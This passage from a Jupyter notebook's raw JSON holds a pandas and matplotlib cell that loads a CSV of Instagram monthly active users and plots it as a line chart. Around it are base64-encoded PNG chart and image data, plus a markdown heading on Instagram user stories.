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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas as pd\n", + "import matplotlib.pyplot as plt #import matplotlib \n", + "#Reading the Comma Seperated values file using pandas\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG1.csv\", header=0, sep=\",\") \n", + "\n", + "print(\"Instagram users :\\n\")\n", + "print(stats)\n", + "#plotting the graph\n", + "stats.plot(x='Date(month-year)', y='Monthly_active_users_millions', kind='line') \n", + "plt.ylim(ymin=0)\n", + "plt.xlim(xmin=1)\n", + "#Show the graph\n", + "print(\"\\n\")\n", + "print(\"Graph :\")\n", + "plt.title(\"Instagram users \")\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram User Stories " + ] + }, + { + "attachments": { + "image-2.png": { + "image/png": "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